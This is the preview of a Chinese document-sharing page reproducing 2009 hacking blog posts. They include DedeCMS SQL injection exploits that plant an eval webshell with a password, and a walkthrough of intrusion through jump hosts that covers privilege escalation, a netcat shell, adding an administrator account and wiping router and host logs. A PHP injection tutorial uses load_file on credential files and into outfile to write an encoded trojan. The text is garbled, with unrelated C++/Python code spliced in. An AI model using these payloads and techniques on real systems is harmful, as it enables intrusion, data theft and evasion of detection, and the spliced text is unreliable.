hacker技术.doc_第1页
hacker技术.doc_第2页
hacker技术.doc_第3页
hacker技术.doc_第4页
hacker技术.doc_第5页
已阅读5页,还剩22页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

DeDeCms gbk版超强爆出0day黑客技术 2009-09-12 23:51:29 阅读163 评论0 字号:大中小 看代码一不小心看到了dedecms gbk版的一个漏洞,刚测试,搞到战利品一个附图: 利用方法稍后公布。利用方法: 一个月前看了看了dedecms代码(只看了plus下的文件),发现有些变量人为控制没有过滤,但是在php的魔法引号这道天然屏障面前利用几率不好但是联想到gbk的宽字符,突破方法就有了漏洞文件:plus/infosearch.php测试版本:5.1 gbk描述:$q变量没有过滤直接进入查询,导致注入出现。代码如下:$q = trim($q);if($areaid 0) $wheresql = areaid=$areaid and ;$query = select ID,typeid,title,memberID,writer,senddate from #_infos where $wheresql title like %$q% order by senddate desc;$dlist = new DataList();$dlist-pageSize = 20;$dlist-SetParameter(q,$q);$dlist-SetParameter(action,search);$dlist-SetParameter(areaid,$areaid);$dlist-SetSource($query);利用代码:“”突破了,那就照常注入。测试站:/plus/in . on=search&q=%cf,2,id,4,pwd,6%20from%20dede_admin/*至于后台拿shell,找不到后台的一样可以轻松拿到shell.还有几个文件存在注入问题,象feedback.php,后续发放分析1.C+之python函数调用黑客技术 2009-09-12 23:40:46 阅读269 评论0 字号:大中小 代码如下,分别演示直接执行python语句、无返回无参数函数调用、返回单参数函数调用。返回多参数函数调用:#include #include using namespace std;/执行python命令void ExecPythonCommand()/直接执行PyRun_SimpleString(from time import time,ctimenprint Today is,ctime(time()n);/调用无参数函数void InvokeNoParm()PyObject* pMod = NULL;PyObject* pFunc = NULL;/导入模块pMod = PyImport_ImportModule(Life);if(pMod)/获取函数地址pFunc = PyObject_GetAttrString(pMod, a);if(pFunc)/函数调用PyEval_CallObject(pFunc, NULL);elsecout cannot find function a endl;elsecout cannot find Life.py endl;/调用一参数函数void InvokeWith1Parm()PyObject* pMod = NULL;PyObject* pFunc = NULL;PyObject* pParm = NULL;PyObject* pRetVal = NULL;int iRetVal = 0;/导入模块pMod = PyImport_ImportModule(FuncDef);if(pMod)pFunc = PyObject_GetAttrString(pMod, square);if(pFunc)/创建参数pParm = Py_BuildValue(i), 5);/函数调用pRetVal = PyEval_CallObject(pFunc, pParm);/解析返回值PyArg_Parse(pRetVal, i, &iRetVal);cout square 5 is: iRetVal endl;elsecout cannot find function square endl;elsecout cannot find FuncDef.py endl;/调用多参数函数void InvokeWith2Parm()PyObject* pMod = NULL;PyObject* pFunc = NULL;PyObject* pParm = NULL;PyObject* pRetVal = NULL;int iRetVal = 0;/导入模块pMod = PyImport_ImportModule(add);if(pMod)pFunc = PyObject_GetAttrString(pMod, add);if(pFunc)/创建两个参数pParm = PyTuple_New(2);/为参数赋值PyTuple_SetItem(pParm, 0, Py_BuildValue(i,2000);PyTuple_SetItem(pParm, 1, Py_BuildValue(i,3000);/函数调用pRetVal = PyEval_CallObject(pFunc, pParm);/解析返回值PyArg_Parse(pRetVal, i, &iRetVal);cout 2000 + 3000 = iRetVal endl;elsecout cannot find function square endl;elsecout cannot find add.py CREATE TABLE files(id NUMBER PRIMARY KEY,path VARCHAR(255)UNIQUE,ot_format VARCHAR(6);SQL INSERT INTO files VALUES(1,2mickey,NULL);SQL CREATE INDEX file_index ON files(path) INDEXTYPE IS ctxsys.context2 PARAMETERS(datastore ctxsys.file_datastore format column ot_format); 当执行完 create index 这句的时候,在看咱们本地的 metasploit,就已经得到 ORACLE 数据库主机的系统当前服务用户的 half lm 哈希和 cmdshell 了。 后来经过 pt007 的提醒,我又测试了 mysql,如果服务也是 administrator 启动的,用select load_file(2mk.txt)也是可以得到系统权限的.MSSQL 应该用 xp_dirtree 存储过程 也是可以的,不过我没有配置出来用 administrator 账户启动 MSSQL 服务,希望知道的朋友指点下我。 这个技术可以用到内网 WEB 评估的时候,如果有注入,服务又是 administrator 启动的,可以提权了。(5.黑客经验:跳板攻击入侵技术实例解析黑客技术 2009-09-12 23:48:51 阅读155 评论0 字号:大中小 入侵,安全第一。一个狡猾、高明的入侵者,不会冒然实行动。他们在入侵时前会做足功课,入侵时会通过各种技术手段保护自己,以防被对方发现,引火烧身。其中,跳板技术是攻击者通常采用的技术。下面笔者结合实例,解析攻击入侵中的跳板技术。 1、确定目标 攻击者在通过扫描工具进行定点(IP)扫描或者对某IP段扫描的过程中发现了该系统(服务器)的某个漏洞,然后准备实施攻击。 比如,笔者通过对某IP段的扫描,发现该IP段IP地址为211.52.*.84的主机存在MYSQL漏洞,可以通过提权获取系统权限进而控制该服务器。 2、设计跳板 跳板通俗讲就是一条通往目标主机的主机链,理论上讲当然是链越长就越安全,但是链太长的话连接的速度太慢,因为其中的中转太多。攻击者往往会评估入侵风险,从而制定或者设计跳板。一般的原则是,如果是政府、军队等敏感部门往往跳板会比较多,甚至这些跳板主机会纵横七大洲四大洋。另外,入侵国内服务器往往也会需要国外的跳板主机。 另外跳板主机的选择,入侵者往往是一些安全性一般速度较快,很少有人光顾的主机。因为如果是跳板出了安全问题,安全人员从中间入手,进行反向追踪,定位入侵者的相对比较容易。 笔者演示进行入侵检测的目标主机是一家韩国的服务器(通过查询),综合考虑,设计了三级跳板,即通过三个主机中转在第三级跳板上进行目标主机的入侵就爱你从。设计的路线为:远程登陆(3389)到一IP地址为203.176.*.237的马来西亚服务器;然后在该服务器上通过CMD命令登陆到一IP地址为203.115.*.85的印度Cisco路由器;最后该路由器上telnet到一某韩国主机。最后以该韩国服务器为工作平台实施MYSQL提权操作。 特别说明:攻击者往往在跳板中加入路由器或者交换机(比如Cisco的产品),虽然路由器的日志文件会记录登陆IP,但是可以通过相关的命令清除该日志。并且这些日志清除后将永远消失,因为路由器的日志保存在flash中,一旦删除将无法恢复。如果跳板全部用主机的话,虽然也可以清除日志,但是现在的恢复软件往往可以恢复这些日志,就会留下痕迹,网络安全人员可以通过这些蛛丝马迹可能找到自己。 3、跳板入侵 (1).第一跳,远程桌面 开始运行mstsc,打开远程桌面连接,输入马来西亚服务器的IP地址203.176.*.237,随后输入用户名、密码即可远程连接到该服务器。 一个非常狡猾高明的的入侵者一般不会用自己平时使用的主机进行远程桌面连接入侵,他们往往通过一些人员流动比较大的公共电脑进行入侵。如果找不到的话,他们一般不会用物理主机,会采用虚拟机系统进行入侵。因为物理主机的入侵会留下痕迹,就算删除格式化也会被恢复。而虚拟机,入侵完成后可以删除,呼之即来,弃之毫不可惜。 (2).第二跳,telnet路由器 打开服务器命令行工具(cmd),输入telnet 203.115.*.85进行连接。该路由器是一Cisco设置了虚拟终端的密码,输入密码进入路由器一般模式。此时即可以通过路由器telnet到下一个跳板。当然最好有该cisco路由器的特权密码,敲入en,然后输入特权密码进入特权模式。因为就算没有进入路由器的特权模式,但路由器还是记录了此次登陆,因此一定要进入特权模式,通过路由器命令清除登陆记录和历史命令。笔者为了安全用SecureCRT(类似telnet)进行登陆。 作为一个狡猾的入侵者,在进入路由器特权模式后,不是马上进入下一跳板。往往通过show user命令查看有没有其他人(特别是管理员)登陆到路由器。如果存在其他登陆,一个谨慎的入侵者往往会放弃该跳板转而用其他的跳板。 (3).第三跳,telnet主机 在路由器特权模式下,输入telnet 203.115.*.85,随后输入用户名及其密码后就telnet到远程主机系统给我们一个shell。 4.提权 至此,我们经过三级跳到达工作平台,然后就在该shell上进行目标主机的MYSQL提权操作。操作平台上笔者已经准备好了进行MYSQL提权的工具。输入命令进行操作,笔者把相关的命令列举出来: cd msysql cd bin mysql -h 4 -uroot . c:mysqlbin2003.txt 在工作平台上再打开一个cmd,输入命令 nc 4 3306 即监听该ip的3306端口,返回一个目标主机的shell,获取该主机的控制权。 在该shell上输入命令建立管理员用户 net user test test /add net localgour administrators test /add 下面看看对方是否开了远程桌面连接,在命令行下敲入命令 netstat -ano 对方开3389端口,即可以进行远程桌面的连接。 由于对方是XP系统,不能多用户远程连接,笔者的入侵检测到此为止。 5、全身而退 入侵完成获得目标主机的管理权限,入侵者就得擦除痕迹,准备撤退了。 (1).由于从目标主机获得的shell反向连接获得的,不会有日志记录,所以不用管直接断开连接。 (2).上传clearlog工具,清除telnet主机上的登陆日志。 (3).输入exit,退出路由器到主机的的telnet连接。在路由器上输入 clear logging 分别用来清除登陆日志。 (4).退出路由器登陆,通过工具清除远程桌面主机上的登陆日志,然后删除登录用帐户和用户目录,注销用户。 总结:上面笔者结合实例演示了入侵者如何通过跳板进行入侵以及入侵善后的全过程,本文只是从技术的角度对跳板技术进行解析,目的是让有兴趣的读者直观地了解跳板技术的相关细节。当然,跳板技术是博大精深,远非本文所能囊括,但其基本原来都类似,希望文本对大家了解这种技术有所帮助。6.DeDecms再爆注入漏洞 影响版本5.35.5黑客技术 2009-09-12 23:50:15 阅读89 评论0 字号:大中小 dedecms5.3和5.5系列版本存在重大注入漏洞,请注意以下操作有攻击性,仅供研究。利用此漏洞进行违法活动者,后果自负。假设域名是: 攻击步骤如下:1. 访问网址:/plus/digg_frame.php?action=good&id=1024%651024&mid=*/eval(_POSTx);var_dump(3);?可看见以下错误信息注入成功2. 访问 /data/mysql_error_trace.php 看到以下信息证明注入成功了。int(3) Error: Illegal double 1024e1024 value found during parsingError sql: Select goodpost,badpost,scores From gxeduw_archives where id=1024e1024 limit 0,1; */ ? 3. 执行dede.rar里的文件 test.html,注意 form 中 action 的地址是按确定后的看到第2步骤的信息表示文件木马上传成功。木马网址:/data/a.php 密码:2006888漏洞分析:利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。解决方案:打开文件 include/dedesql.class.php找到代码fwrite(fp, rn”);替换代码fwrite(fp, rn”);清空 data/mysql_error_trace.php 文件内容PHP高级注入教程,你掌握了解了多少黑客技术 2009-09-12 23:52:56 阅读145 评论0 字号:大中小 在这个注入和入侵风靡的时代,多少菜鸟拿着工具四处冲锋.如果你不想成为工具的奴隶,不想遇到PHP就退避三舍,不想继续做着ASP的菜鸟之群,不 想.那么请你静下心来, 随我一同走完这次的入侵检测全过程.相信你必然能有所收获.不只在技术上,更在思路上,更在意识和精神上.判断是否存在注入:首先,PHP和ASP判断注入的方法一样,在一个动态连接后面加上“”和and 1=1,and 1=2看其返回结果即可判断.两次返回结果不相同,即可初步判断为有注入点和漏洞。判断字段大小:接下来,对付php猜字段的方法,我们用order by.语法如下:/1.php?id=1 order by 40 /如果返回正常,说明实际的字段要比40大.那么我们继续加.一直加到返回错误.譬如当/1.php?id=1 order by 45 的时候出错了,那么我们就知道字段大小为44.UNION SELECT:知道字段大小以后,我们就用union select联合查询来列出所有字段./1.php?id=1 and 1=2 union select 1,2,3,444/* /这里我们列出了44个字段,并且以/*告诉MYSQL,我们的命令已经执行完毕.*你就可以在回显出来的相应的字段上,替换你要查询的字段名,再from表明.就可以得到相应的字段内容了.譬如:/1.php?id=1and 1=2 union select 1,2,3,4,30,passwd,32,45 from member/* /表示我这里省略.你不能那么写.几个常用的MYSQL函数:好 了,现在我们把字段都列出来了.估计这时候有人就该急急忙忙的加from来猜密码了.实际上,猜测密码走后台这一招,我们应该放在最后.有人说MYSQL 的功能,和ACCESS一样,甚至还不如,这其实是误解,冤枉了MYSQL.我们下面来看看,MYSQL都有些什么高级的运用.这里首先列出几个常用的涵数:1:system_user()2:user()3:current_user4:session_user()5:database()6:version()7:load_file().他们的含义分别如下:1:系统用户名.2:用户名.3:当前用户名:4连接数据库的用户名.5:数据库名.6:数据库版本.7:MYSQL读取本地文件的函数他们都有什么用?1-6的作用如下:这几个函数翻回来的信息在检测过程中具有非常重要的作用,他们对我们了解目标,分析目标,寻找漏洞,开阔思路等等都有莫大的作用.譬如了解系统的版本,了解数据库是否支持union,当前用户是否ROOT用户的初步判断等等.函数7的作用就更大了,我们接下来单独说.专说load_file()函数的作用与技巧.OK.load_file 是MYSQL用来读取本地文件时,会用到的函数.在我们注入时的权限可以读写文件时,load_file就有无比巨大的作用了.怎么判断有我们注入点的权 限呢?很简单,在注入点后加上and (select count(*) from mysql.user)0/*如果结果返回正常,那么就是具有读写权限了.我们就可以用这个函数去读取系统的敏感文件,去寻找配置文件,寻找数据 库连接文件,寻找社工文件,寻找WEB物理路径等等.下面,我给大家总结出了敏感文件列表:WINDOWS下:load_file(char(99,58,47,119,105,110,100,111,119,115,47,112,104,112,46,105,110,105) c:/windows/php.ini /里面有什么不用我说了吧?load_file(char(99,58,47,119,105,110,110,116,47,112,104,112,46,105,110,105) c:/winnt/php.iniload_file(char(99,58,47,119,105,110,100,111,119,115,47,109,121,46,105,110,105) c:/windows/my.ini /管理员登陆过MYSQL会留下密码和用户名load_file(char(99,58,47,119,105,110,110,116,47,109,121,46,105,110,105) c:/winnt/my.iniload_file(char(99,58,47,98,111,111,116,46,105,110,105) c:/boot.iniLUNIX/UNIX下:load_file(char(47,101,116,99,47,112,97,115,115,119,111,114,100) /etc/password /不用我说了吧?load_file(char(47,117,115,114,47,108,111,99,97,108,47,104,116,116,112,100,47,99,111,110,102,47,104,116,116,112,100,46,99,111,110,102) /usr/local/httpd/conf/httpd.conf /也许能找到网站默认目录哦!load_file(char(47,117,115,114,47,108,111,99,97,108,47,97,112,97,99,104,101,50,47,99,111,110,102,47,104,116,116,112,100,46,99,111,110,102) /usr/local/apache2/conf/httpd.conf /也许能找到网站默认目录哦!FreeBSD下:load_file(char(47) /列出了此FreeBSD系统的根目录大概有朋友看到这里就该叫了,这都什么啊.char()是什么呀?后面一大串又是什么啊?(系统不明白的就不用问了,自己去GOOGLE).实际上,就算你拥有读和写权限的一个注入点,如果你直接执行load_file(c:boot.ini),一般都回显不了,遇到这样的情况,你有两个选择.1把路径转为16进制,直接提交数据库.2把路径转为10进制,用char()函数还原回ASCII.譬 如c:boot.ini,转换为16进制就是:0x633A5C626F6F742E696E69,然后你直接用 load_file(0x633A5C626F6F742E696E69)就可以了. 如果转换为10进制,那么就是:99 58 92 98 111 111 116 46 105 110 105.你需要使用char()来转换,转换之前,你需要在TXT里做个批量替换,把空格都转为,号. 即:load_file(char(99,58,92,98,111,111,116,46,105,110,105).注意不要少了扩号,都是对称 的.说到这里,估计又有小菜要叫了.都弄好啦,放那里去执行啊?!别急,看看下图.只要把load_file()放到页面出现的字段上,最好保证有足够位置能显示完你要显示的文件.实在没有足够位置也不紧张,下面我再教你几招.1: 有时候,你明明确认自己拥有读和写文件的权利,却硬是读不出来文件,或者一片空白.为什么?原因可能是对方的系统在权限配置上做的好,你的USER权限, 读不到他ADMINISTRATOR里的文件.NTFS和LINUX都能做到这点.如果你排除以上情况,你就要考虑,是不是你读出来的内容,被浏览器当作 HTML,ASP,PHP,ASPX,JSP等等的脚本语言给执行了?譬如你读出来的内容如果含有等符号,那么浏览器就会执行你的文件内 容,你自然什么都看不到.对付这样的情况,也很简单,我们只要把那些特殊的符号,在读出来的时候,用别的符号去代替他们,这样浏览器就不会去执行他们了! 怎么代替?我们有replace(load_file(A),char(B),char(C)函数在!当你读A文件出来的时候,如果里面有B字母或者符 号,那么MYSQL会用C字母或者符号去代替B,然后再显示出来.OK.我们这么一换 上:replace(load_file(A),char(60),char(32).这里一样用的CHAR()函数转换为字母即一旦出 现符号,就用空格来代替他.这样就能完整的回显内容给你了.2:所有的字段位置都不够位置回显,读到的文件不完整哦,又不是 上面的原因,那么怎么办呢?这里我们用Substring(str,pos,len)函数解决问题.他的意思是从字符串str的pos位位置起返回len 个字符的子串.譬如Substring(load_file(A),50,100)就是把A的内容的第50个字母开始回显100个给你.那么就能逐段逐段 的回显啦. into outfile的高级运用!OK.load_file()我们就说那么多了.接下来,我们还有许多的重头戏要来呢!这里,我要说下一个很重要的运用方法,也正是我着重参考剑心几部作品的技术的部分.当我们确定如下几个条件以后:1获得物理路径(into outfile 物理路径) 这样才能写对目录2能够使用union (也就是说需要MYSQL3以上的版本)3对方没有对进行过滤(因为outfile 后面的 不可以用其他函数代替转换)4就是MYSQL用户拥有file_priv权限(不然就不能写文件 或者把文件内容读出)5对web目录有写权限MS的系统一般都有权限,但是LINUX通常都是rwxr-xr-x 也就是说组跟其他用户都没有权限写操作.这 里的1,我们一般可以靠数据库出错信息来爆出来,不行的话,也可以通过load_file()来得到.2那是一般都可以的了.3也不多见对过滤 的.4有没有权限,我们前面已经测试过的了.5如果不能备份到网站的路径上来,我们也还有别的办法,譬如到starup,run里面去等等社工的办法.而 且一般多试试上传目录,图片目录,还是大部分都有读写权限的.OK.需要的条件确定了,那怎么用呢?我们分开两部来说用法.用法1:这是中规中矩的用法,大家都知道.就是采用网站有的留言,上传等功能,把你的一句话马弄上去,然后使用/coder.php?id=1 and 1=2 union select 1,load_file( /www/home/html/upload/qingyafengping.jpg),3,4,5,6 into outfile /www/home/html/coder.php/* 你的小马就诞生了.其中/www/home/html/upload/qingyafengping.jpg为你已上传的木马地址.3,4,5,6为假设存在字段,/www/home/html/为假设的WEB路径.用法2,也是重点要说的.上面的方法,局限性还是比较大的,如果网站不给你上传,或者网站过滤上传的内容,那怎么办?不用怕,剑心早在几年前就给我们想到了个好办法.我们只需要直接这么执行URL:/coder.php?id=1 and 1=2 union select 1,char(这里是你的马的代码,记得转为10进或者16进),3,4,5,6 into outfile /www/home/html/coder.php/* 这样你的小马也诞生了,不需要上传,也不怕他过滤.譬如/coder.php?id=1 and 1=2 union select 1,char(60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,99,109,100,93,41,63,62),3,4,5,6 into outfile /www/home/html/coder.php/*或者/coder.php?id=1 and 1=2 union select 1,0x3C3F706870206576616C28245F504F53545B636D645D293F3E,3,4,5,6 into outfile /www/home/html/coder.php/*或者/coder.php?id=1 and 1=2 union select 1,3,4,5,6 into outfile /www/home/html/coder.php/*3,4,5,6为假设存在字段,/www/home/html/为假设

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论